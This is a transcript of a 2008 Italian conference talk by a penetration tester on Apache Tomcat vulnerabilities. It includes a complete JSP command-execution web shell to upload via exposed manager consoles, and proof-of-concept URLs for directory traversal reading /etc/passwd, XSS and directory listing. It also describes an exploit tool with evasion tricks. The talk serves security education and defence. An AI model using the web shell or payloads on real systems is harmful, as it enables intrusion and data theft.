Download - SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Transcript
Page 1: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

L’evoluzione della specie

…il mondo della sicurezza è una

giungla!

SMAU 2008

Vulnerabilità in Apache Tomcat

Page 2: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Di cosa parliamo oggi...

• Quali sono le principali vulnerabilità scoperte in Apache Tomcat

• Come sfruttare queste debolezze, dal punto di vista dell'aggressore

• Quali vulnerabilità ci dobbiamo aspettare nel futuro prossimo

• Attualmente lavoro come pentester in una grande banca internazionale

• Ricerco vulnerabilità for fun (and profit)• Mi interesso di web application security

ed ethical hacking• Sono membro della comunita’ OWASP

btw: partecipate al capitolo Italiano :)• luca.carettoni[at]ikkisoft[dot]com

Page 3: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Security in depth

Network Security

Operating System Security

Database Security

Web Server Security

Application Security

Physical Security

Page 4: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Apache Tomcat

• Apache Tomcat è un moderno Servlet container sviluppato dall'Apache Software Foundation

• http://tomcat.apache.org/• Pure 100% Java Application Server• Open Source, facile da installare,

abbastanza performante...quindi, praticamente perfetto ? Non proprio

• Implementa diverse versioni delle tecnologie Java Servlet e Java Server Pages (JSP)

3.3.2 (deprecata)2.2/1.14.1.372.3/1.25.5.262.4/2.06.0.182.5/2.1

Apache Tomcat versionServlet/JSP Specification

Page 5: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Powered by Apache Tomcat

• E' stato scaricato più di 10 milioni di volte. Ipotizziamo che solamente l'1% di questi download ha portato all'utilizzo in produzione, il risultato è assolutamente sconvolgente

• Parliamo di più di 100000 installazioni

• Largamente utilizzato da numerose organizzazioni e società: WalMart, O'Reilly On Java, JBOSS ed il portale Italiano VolareGratis.com

• Si stima che circa la metà della global Fortune 500 utilizzi in una qualche installazione Tomcat e derivati

• Date un occhio alla popolarità del sito: http://people.apache.org/~vgritsenko/stats/projects/tomcat.html

Page 6: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tomcat in the wild...

• Google dork:

12,600 for intitle:"Directory Listing

For /" + inurl:tomcat-docs tomcat

Page 7: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tactical Exploiting 1/3

• Spesso l'aggressore non deve nemmeno sfruttare vulnerabilità

• Sono gli amministratori che lasciano accessibile una risorsa preziosa

• Default Manager Consolehttp://x.x.x.x:8080/manager/html

• LambdaProbe Console http://x.x.x.x:9099/probe/

• Spesso esposta• Spesso protetta da password non robuste• Per la mia esperienza, troppo spesso !

Page 8: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tactical Exploiting 2/3

Page 9: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Oltre ad ottenere informazioni sulla configurazione e sullo stato dei sistemi, un aggressore può alterare le configurazioni e compromettere l'ambiente di fruizione !

• Vediamo, in breve, come:

Tactical Exploiting 3/3

<%@ page import="java.io.*" %><%try { Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process ps = rt.exec(cmd); BufferedReader outReader = new BufferedReader(new InputStreamReader( ps.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine = null; out.println("<pre>"); while ((outLine = outReader.readLine()) != null || (errLine = errReader.readLine()) != null) { if (outLine != null) out.println("out: " + outLine); if (errLine != null) out.println("err: " + errLine); } out.println("</pre>"); outReader.close(); errReader.close(); } catch (Exception ex) { out.println("Exception message. Some problem?!?"); ex.printStackTrace(); }%>

Page 10: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Apache Tomcat - Cronologia

4.x

5.0.x

5.5.x

6.x

Fonte: en.wikipedia.org

• La code base iniziale e' stata donata da Sun all' Apache Software Foundation nel 1999

• La prima versione ufficiale è stata la v3.0

La versione attuale è la 6.0.18 (ad oggi, 18/10/08)

4.1.31 4.1.36

5.0.0 5.0.285.0.30

5.5.05.5.1

5.5.45.5.7

5.5.95.5.12

5.5.155.5.16

5.5.17

5.5.205.5.23

5.5.25 5.5.26

6.0.0 6.0.106.0.13

6.0.14

6.0.166.0.18

2002 2003 2004 2005 2006 2007 2008

Page 11: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità in Tomcat 1/2

• #81 Vulnerabilità segnalate• #44 CVE (vulnerabilità univoche)

• Vulnerabilità per versione:Apache Tomcat JK Connectors: #3 CVEApache Tomcat 4.x: #35 CVEApache Tomcat 5.x: #24 CVEApache Tomcat 6.x: #19 CVE

Source: http://tomcat.apache.org/security.html (11 September 2008)

Page 12: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità in Tomcat 2/2

CVE-2001-0917 CVE-2002-0493 CVE-2002-0682 CVE-2002-0935 CVE-2002-1148 CVE-2002-1394 CVE-2002-1567 CVE-2002-1895 CVE-2002-2006 CVE-2002-2008 CVE-2002-2009 CVE-2003-0866 CVE-2005-2090 CVE-2005-3164 CVE-2005-3510 CVE-2005-4703 CVE-2005-4836 CVE-2005-4838 CVE-2006-3835

CVE-2006-7195 CVE-2006-7196 CVE-2006-7197 CVE-2007-0450 CVE-2007-0774 CVE-2007-1355 CVE-2007-1358 CVE-2007-1858 CVE-2007-1860 CVE-2007-2449 CVE-2007-2450 CVE-2007-3382 CVE-2007-3383 CVE-2007-3385 CVE-2007-3386 CVE-2007-5333 CVE-2007-5342 CVE-2007-5461 CVE-2007-6286

Source: http://tomcat.apache.org/security.html (11 September 2008)

CVE-2008-0002 CVE-2008-0128 CVE-2008-1232 CVE-2008-1947 CVE-2008-2370 CVE-2008-2938

Page 13: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità per anno

2001 2002 2003 2005 2006 2007 2008

0

2

4

6

8

10

12

14

16

18

CVEs

Page 14: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità per severità

LowHighMedium

• Low: Info Disclosure, Denial of Service• Medium: Sensitive Info Disclosure, Cross

Site Scripting, Session Hijacking • High: Directory Traversal, Lettura/Scrittura

File Arbitrari, Esecuzione di Codice Arbitrario

Page 15: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Qualche esempio…

Page 16: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Directory Traversal Vulnerability • Author: Simon Ryeo• Severity: High • Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x• Exploit Proof-of-concept:

http://www.example.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

• Note: context.xml oppure server.xml deve permettere allowLinking e URIencoding come “UTF-8”.

UTF-8 Encoding2 bytes, 11bits, 110bbbbb 10bbbbbb%c0%ae = “.”%c0%af = “/”

CVE-2008-2938

Page 17: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Multiple Cross Site Scripting (XSS)• Author: Unknown (reported to JPCERT)• Severity: Medium• Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-

5.5.24, 4.0-4.0.6, 4.1-4.1.36• Exploit Proof-of-concept:

http://www.example.com/jsp-examples/snp/snoop.jsp;[xss]

• Note: Nessun tipo di validazione. Il classico vettore di attacco <script>alert(123);</script> viene correttamente inoltrato

CVE-2007-2449

Page 18: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Directory Listing Vulnerability • Author: ScanAlert.s Enterprise Services Team• Severity: Medium• Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-

4.0.6, 4.1-4.1.31• Exploit Proof-of-concept:

http://www.example.com/;index.jsp http://www.example.com/help/;help.do

• Note: Vulnerabile invocando qualsiasi risorsa (estensione) valida, anche se non esistente, preceduta da un punto e virgola

CVE-2006-3835

Page 19: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tomcat ZOOThe «all-in-one» exploit

• Pentesting tool, specifico per verificare vulnerabilità note di Apache Tomcat

• Sviluppato in PHP (richiede solo –enable-cli)

• Rilasciato GPL v2

• Attualmente copre il 27% dei CVE per Tomcat:

* CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385* CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386* CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333* CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461

---------------[ Script Options (basic) ]------------------

Usage:php TomcatZOO.php host port proxyhost: target serverport: the web port, usually 8080proxy: use a proxy defined as IP:PORT:USER:PASS (optional)

Example:php TomcatZOO.php www.example.com 8080php TomcatZOO.php www.example.com 80 127.0.0.1:1234::php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass

Page 20: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Caratteristiche avanzate: Supporto HTTP (senza l'uso di libcurl) Supporto Proxy Opzione di debug Personalizzazione User-Agent Primitive tecniche di evasione

1: fake HTTP GET/POST parameters

2: random case sensitivity

3: Windows directory separator \ instead of /

4: URL encoding applied to URI, HTTP pars and header

ToDo: Supporto HTTPS (per ora utilizzate l'ottimo

www.stunnel.org. Thx Michal!) Coprire la globalità delle vulnerabilità di Tomcat

analizzabili durante black box testing

Tomcat ZOOThe «all-in-one» exploit

Page 21: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tomcat ZOOThe «all-in-one» exploit

• Disponibile prossimamente (entro fine anno)

• Lo troverete qui: http://www.ikkisoft.com/tomcatzoo/

• E' un tool per ethical hacking !

Page 22: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

E nel futuro...• Ancora problematiche di validazione dell'input,

sebbene il codice si sta stabilizzando• Sicuramente ancora Denial of Service, considerando la

numerosità e la complessità dei componenti• Sicuramente ancora Cross-Site Scripting• (Tendenzialmente) nessun buffer overflow.

I componenti non sviluppati in Java sono limitati

• Come difenderci quindi?• Reattività: mantenersi aggiornati e preparare già ora

un ambiente di test dove provare le future release, prima della messa in produzione. Estote Parati !

• Online patching: Application firewall e simili, pronti per essere configurati ad-hoc appena viene rilasciata una nuova vulnerabilità

Page 23: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Contatti, Domande

• Grazie dell'attenzione! Domande ?!?

Luca Carettoniluca.carettoni[at]ikkisoft[dot]comhttp://www.ikkisoft.com